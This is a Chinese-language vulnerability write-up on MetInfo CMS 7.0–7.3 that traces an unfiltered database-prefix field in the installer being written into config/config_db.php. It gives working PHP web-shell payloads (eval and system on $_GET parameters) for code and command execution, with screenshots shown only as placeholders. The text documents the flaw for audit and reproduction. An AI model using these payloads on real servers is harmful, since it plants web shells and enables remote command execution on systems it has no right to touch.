米拓建站系统getshell和命令执行

漏洞描述

米拓企业建站系统是一款由长沙某公司自主研发的免费开源企业级CMS,该系统拥有大量的用户使用,及对该款cms进行审计,如果利用CNVD-2021-01930进行进一步深入,其危害的严重性可想而知。

漏洞影响

米拓7.0-7.3

FOFA

不提供,因为我们有这个搭建的官网。。

漏洞复现

审计过程:

1.Index:拿到源码先看根目录的index.php看看都包含(加载)了什么文件。

2.关键词:在/app/system/entrance.php看到了配置文件的定义,全局搜索这’PATH_CONFIG‘参数。

image-20210701231300769

全局搜索并找到install/index.php文件下有这个参数,点击跟进查看。

image-20210701231305820

在这个文件的219行有个是接收db数据库参数的方法。

官方说明“$_M”数组: https://doc.metinfo.cn/dev/basics/basics75.html

这里是接收from数据的db_prefix参数。也就是“数据表前缀”内容的值。

image-20210701231310725

往下发现是直接写入tableper然后赋值给config变量。

image-20210701231314850

并在264行fopen打开/config/config_db.php进行没有安全过滤的字节流(fputs)方式的写入。

image-20210701231319705

影响版本:7.3.0- 7.0.0

一、进行7.3.0安装步骤,访问http://127.0.0.1/install/index.php

image-20210701231326464

二、选中传统安装继续下一步

image-20210701231330931

image-20210701231335205

三、数据库信息进行写shell

代码执行Payload:"/@eval($_GET['1']);/

命令执行Payload:"/@system($_GET['1']);/

代码执行:

image-20210701231339807

image-20210701231345778

点击保存进行下一步验证,出现这报错信息,可以查看config\config_db.php文件。

image-20210701231349761

image-20210701231354343成功写入

image-20210701231358274

命令执行:

image-20210701231402047

image-20210701231406641

image-20210701231410110

7.0.0版本:

image-20210701231413996

图片7.1.0版本:

Payload:"/@eval($_GET['1']);@system($_GET['2']);/

image-20210701231421799

image-20210701231426890

图片7.2.0版本:

Payload:"/@eval($_GET['1']);@system($_GET['2']);/

image-20210701231438644

image-20210701231442576

image-20210701231446683

image-20210701231450974